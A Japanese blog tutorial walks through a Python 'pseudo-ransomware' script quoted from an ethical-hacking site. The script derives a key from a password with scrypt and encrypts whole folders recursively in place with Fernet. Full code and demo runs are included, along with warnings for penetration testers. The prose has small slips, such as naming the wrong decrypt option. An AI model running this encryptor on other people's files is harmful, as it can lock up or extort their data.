Python

【ハッキング】Pythonを使った疑似ランサムウェアの仕組みを解説

昨今端末がランサムウェアなどコンピュータウイルスに感染することで重要なファイルが暗号化されてしまい、会社の業務に支障が出たうえで身代金を要求されるといったサイバー攻撃の事例をよく耳にします。ただ一方で具体的にどういった仕組みでこういった攻撃が行われるのか、その内容について言及されることはほとんどありません。

また合意を得たうえでハッキングを行いサイバー攻撃に対する組織の耐性を測るペネトレーションテストという業務がありますが、ペネトレーションテストを行うにしてもノウハウがなくどう攻撃演習を行えば良いのか悩ましいという悩みを抱えている人も中にはいると思います。ファイルの暗号化を伴ったマルウェアはサイバー攻撃の常套手段の一つともいえるため、サイバーセキュリティ関連の業務に従事している、或いはセキュリティに関する意識が高い人は攻撃手口を理解しておくことで防御の一助になることでしょう。

本記事ではペネトレーションテスターやマルウェア解析者を目指している人などに向けて、ランサムウェアで使われるようなファイル暗号化の仕組みを解説していきます。ちなみにオリジナルで作成した疑似ランサムウェアのスクリプトをパブリックな空間で公開すると法律に問われる可能性が高そうなので、本記事では以下の「PythonCode」のサイトでサンプルとして紹介されている内容を引用しながら日本語で解説していきたいと思います。英語が読めるのであれば元のサイトを見ることを推奨します。

https://www.thepythoncode.com/

https://github.com/x4nth055/pythoncode-tutorials/blob/master/ethical-hacking/ransomware/ransomware.py

本記事の内容を悪用すると法律に問われる可能性があります。くれぐれも攻撃ではなく守るための知見として読み進めること。
なお、いうまでもないですが自身の管理下でない環境で検証すると多大な迷惑がかかるので、検証の際は自分が管理している対象であることを確認したうえで、またバックアップは必ず取るようにしてください。

イントロダクション

ランサムウェアとは端末に保存されているシステムファイルを暗号化し利用できなくなるようにしたうえで、複合に対して金銭を対価として要求するような悪意あるプログラムを指します。マルウェアは悪意のあるプログラム全般を指しますが、その中でも上記の内容に該当するものはランサムウェアと呼ばれ区別されているようです。

暗号化には大きく対称鍵暗号と公開鍵暗号の2つがありますが、本記事で解説していくプログラムでは対象鍵を利用しています。また暗号化では鍵(キー)と呼ばれるものを使用しますが、今回はパスワードからPythonの鍵導出関数を利用して鍵を生成していきます。つまり今回紹介する疑似マルウェアに感染した場合を想定すると、仮に被害者がお金を払えば被害者に暗号化で利用したパスワードを渡すことで復号が可能になるというわけです。なお鍵を使った暗号化の基本については触れませんので、ここまでの説明を聞いてチンプンカンプンという方は必要に応じてキャッチアップしておくようにしてください。

Pythonを使った疑似ランサムウェア作成の準備

では疑似ランサムウェア作成に必要な準備をしていきましょう。以下のコマンドを参考にcryptographyライブラリをインストールしてください。

pip install cryptography

手元のPythonの開発環境においても必要なライブラリをインポートしておきます。

import pathlib
import secrets
import os
import base64
import getpass

import cryptography
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt

//引用元
"https://github.com/x4nth055/pythoncode-tutorials/blob/master/ethical-hacking/ransomware/ransomware.py"

パスワードから鍵を導出する

では鍵生成の解説に移っていきましょう。今回利用する鍵生成関数ではソルトと呼ばれるランダムな文字列をパスワードに付与したうえでハッシュ化を行います。ソルトを付加することで文字長が長くなりブルートフォースや辞書攻撃に対するセキュリティ強化に繋がるというわけです。ソルトは以下の関数で生成することができます。

def generate_salt(size=16):
    return secrets.token_bytes(size)

secretsモジュールのtoken_bytes関数は引数で指定した長さのランダムなバイト文字列を返します。

>>>import secrets
>>>secrets.token_bytes(16)

#出力結果
b'\xcb\xb6<\xba=b\x00\x8c\xf5K\x1f\x0f\x06+\xa4\xdb'

続いてパスワードとソルトから鍵を導出する部分です。Scryptという強力な鍵導出関数を利用します。使用方法は以下の通り。

def derive_key(salt, password):
    kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1)
    return kdf.derive(password.encode())

Scryptのインスタンス生成時に渡す各引数の説明は以下の通りです。

salt鍵を導出するのに利用するソルトを指定します。
length導出する鍵の長さ
n反復回数(推奨値の例としては2の14乗=16384、或いは11乗=2048)
rブロックサイズ
p処理を行うスレッド数

ドキュメントに鍵の導出にかかる時間の計算式が記載されており、n,r,pの引数の数値を大きくすれば鍵の強度が上がる一方処理に時間がかかるようです。

Memory required = 128 * N * r * p bytes

https://cryptobook.nakov.com/mac-and-key-derivation/scrypt

続いてソルトを生成済みの場合に、保存されたソルトを読み込む関数を記述します。暗号化の際生成されたソルトは復号化の時も使用するため、そういった場合はload_salt()関数を利用して既に生成されたソルトを読み込み鍵の導出を行います。

def load_salt():
    return open("salt.salt", "rb").read()

returnの後にopen関数を指定することで読み込まれたファイルの中身が返却されます。

>>> def load_test():
>>>    return open(r"C:\Users\owner\Desktop\test.txt", "rb").read()

>>> load_test()
b'hogehoge'

では鍵導出の一連の流れを実装した関数を作成していきましょう。

def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True):

    if load_existing_salt:
        salt = load_salt() #1
    elif save_salt:
        salt = generate_salt(salt_size) #2
        with open("salt.salt", "wb") as salt_file:
            salt_file.write(salt)

    derived_key = derive_key(salt, password) #3
    return base64.urlsafe_b64encode(derived_key) #4

関数の引数

password鍵導出に使用するパスワード
salt_sizeパスワードに付与するソルトのサイズ
load_existing_saltTrueの場合既に生成済みのソルトの読み込みを行います。
save_saltTrueの場合新しくソルトを生成し保存します。

(#1)この関数では既にソルトを生成済みの場合load_salt()関数で作成済みのソルトの読み込みを行い、(#2)もし生成されていなければgenerate_salt()関数で新しくソルトを生成し保存します。(#3)その後鍵導出関数であるderive_key()にソルトとパスワードを渡し、鍵導出を行っています。(#4)導出した鍵をbase64エンコードで変換します。後のプログラムでFernetというクラスを生成するのですがその生成時に渡す引数にbase64エンコードされた鍵を指定する必要があるためです。

>>>import base64

>>>base64.urlsafe_b64encode(b"test")
b'dGVzdA==' #output

ここまでで鍵導出の実装が終わったのでいよいよプログラムの核となるファイル暗号化、復号化のアルゴリズムを実装していきましょう。

def encrypt(filename, key):

    f = Fernet(key) #1
    with open(filename, "rb") as file:
        file_data = file.read()

    encrypted_data = f.encrypt(file_data)
    with open(filename, "wb") as file:
        file.write(encrypted_data)

(#1)cryptgraphyモジュールに含まれているFernetというクラスを生成し、引数にこれまでで生成した鍵を指定します。その後暗号化対象のファイルを読み取り、Fernetクラスのencryptメソッドを利用することで暗号化することができます。続いて復号化ですが暗号化の時と流れはあまり変わりません。

def decrypt(filename, key):
    f = Fernet(key)
    with open(filename, "rb") as file:
        encrypted_data = file.read()
    try:
        decrypted_data = f.decrypt(encrypted_data)
    except cryptography.fernet.InvalidToken:
        print("[!] Invalid token, most likely the password is incorrect")
        return
    with open(filename, "wb") as file:
        file.write(decrypted_data)

open関数を利用してファイルをバイナリ形式で読み込み、Fernetクラスのdecrypt関数を用いて復号します。復号する際には暗号化したときに利用したパスワードと一致している必要があるため、一致しなかった場合に備えてtry-except文で例外処理を行っています。

続いて指定された暗号化対象がファイルではなくフォルダーだった場合の処理を実装します。

def encrypt_folder(foldername, key):
    for child in pathlib.Path(foldername).glob("*"): #1
        if child.is_file():
            print(f"[*] Encrypting {child}")
            encrypt(child, key)
        elif child.is_dir():
            encrypt_folder(child, key) #2

(#1)foldernameに指定された内容がフォルダーだった場合にそのフォルダー以下の一覧を取得します。例えば以下のようなフォルダーの構成だと次の通りの結果になります。Pathlibモジュールでパスを取得しglob関数に*(アスタリスク)を指定することでそのパス以下のファイルとフォルダを取得することができます。(#2)もしfoldernameで指定されたフォルダの配下に更にフォルダがあった場合は、encrypt_folder関数の引数にそのフォルダーを渡すことで再帰的に処理を行うことができます。

>>>print(pathlib.Path(r"C:\Users\owner\Desktop\Others\test"))
C:\Users\owner\Desktop\Others\test

>>>for a in pathlib.Path(r"C:\Users\owner\Desktop\Others\test").glob("*"):
>>>    print(a)
    

#output
C:\Users\owner\Desktop\Others\test\Backup
C:\Users\owner\Desktop\Others\test\KeyLogger.EXE
C:\Users\owner\Desktop\Others\test\KeyLogger.ps1
C:\Users\owner\Desktop\Others\test\KeyLogger.SED

フォルダーを暗号化する関数の実装が終わったので復号するときの処理も実装しましょう。処理の流れ自体は暗号化するときとほとんど変わりありません。

def decrypt_folder(foldername, key):
    for child in pathlib.Path(foldername).glob("*"):
        if child.is_file():
            print(f"[*] Decrypting {child}")
            decrypt(child, key)
        elif child.is_dir():
            decrypt_folder(child, key)

ではここまでで処理に必要な関数を実装したので最後にmain関数を書いて終わりです。

if __name__ == "__main__":
    import argparse #1
    parser = argparse.ArgumentParser(description="File Encryptor Script with a Password")
    parser.add_argument("path", help="Path to encrypt/decrypt, can be a file or an entire folder")
    parser.add_argument("-s", "--salt-size", help="If this is set, a new salt with the passed size is generated",
                        type=int)
    parser.add_argument("-e", "--encrypt", action="store_true",
                        help="Whether to encrypt the file/folder, only -e or -d can be specified.")
    parser.add_argument("-d", "--decrypt", action="store_true",
                        help="Whether to decrypt the file/folder, only -e or -d can be specified.")

    args = parser.parse_args()

    if args.encrypt:
        password = getpass.getpass("Enter the password for encryption: ") #2
    elif args.decrypt:
        password = getpass.getpass("Enter the password you used for encryption: ") #2

    if args.salt_size:
        key = generate_key(password, salt_size=args.salt_size, save_salt=True)
    else:
        key = generate_key(password, load_existing_salt=True)
    encrypt_ = args.encrypt
    decrypt_ = args.decrypt

    if encrypt_ and decrypt_:
        raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") #3
    elif encrypt_:
        if os.path.isfile(args.path):
            encrypt(args.path, key)
        elif os.path.isdir(args.path):
            encrypt_folder(args.path, key)
    elif decrypt_:
        if os.path.isfile(args.path):
            decrypt(args.path, key)
        elif os.path.isdir(args.path):
            decrypt_folder(args.path, key)
    else:
        raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")#3

(#1)コマンドラインからスクリプトを実行しやすくするためargparseを利用します。基本的な用法については既に解説記事が充実していますので色々調べてみてください。(#2)getpassモジュールで暗号化・復号化に利用するパスワードを取得します。他にコマンドラインから値を受け取る方法としてinput関数がありますが、今回はパスワードという機密度の高い情報を扱うので入力するときに値が見えないgetpassを利用します。(#3)オプションで暗号化と復号化が同時に指定されていたり反対にどちらも設定しなかった場合など、想定と異なった使い方がされた場合エラーが発生するようになっています。

----------------------
#test.py
import getpass

password1 = getpass.getpass("hogehoge1:")
password2 = input("hogehoge2:")
----------------------

(venv) PS C:\Users\owner\PycharmProjects\pythonProject2> python test.py
hogehoge1:           #testと入力したが画面上では確認できない
hogehoge2:test

ソースコードを動かしてみよう

ではここまで解説したコードを利用して実際にファイルを暗号化していきましょう。今回の検証で利用するのは以下のフォルダー・ファイルです。「KeyLogger」のスクリプトも現状では中身が読めるようになっています。

コンソールから以下のようにオプションを指定して実行し、パスワードを入力すると次の出力が得られました。

(venv) PS C:\Users\owner\PycharmProjects\pythonProject2> python ransomware.py -e -s 32 C:\Users\owner\Desktop\Others\test
Enter the password for encryption:
[*] Encrypting C:\Users\owner\Desktop\Others\test\Backup\KeyLogger.ps1
[*] Encrypting C:\Users\owner\Desktop\Others\test\KeyLogger.EXE
[*] Encrypting C:\Users\owner\Desktop\Others\test\KeyLogger.ps1
[*] Encrypting C:\Users\owner\Desktop\Others\test\KeyLogger.SED

その後以下のようにフォルダを確認すると一見あまり変化がないように見られますが、試しにpowershellのスクリプトファイルを開いてみると暗号化され元の内容がわからないようになっていることが確認できます。

復号もできるか検証してみます。以下の通り-eオプションを指定してpythonスクリプトを実行します。暗号化した際に入力したパスワードを入れることで復号され先ほどは読めなかったpowershellスクリプトが再び読めるようになっていることを確認できました。

(venv) PS C:\Users\owner\PycharmProjects\pythonProject2> python ransomware.py -d C:\Users\owner\Desktop\Others\test      
Enter the password you used for encryption:
[*] Decrypting C:\Users\owner\Desktop\Others\test\Backup\KeyLogger.ps1
[*] Decrypting C:\Users\owner\Desktop\Others\test\KeyLogger.ps1
[*] Decrypting C:\Users\owner\Desktop\Others\test\KeyLogger.SED

-Python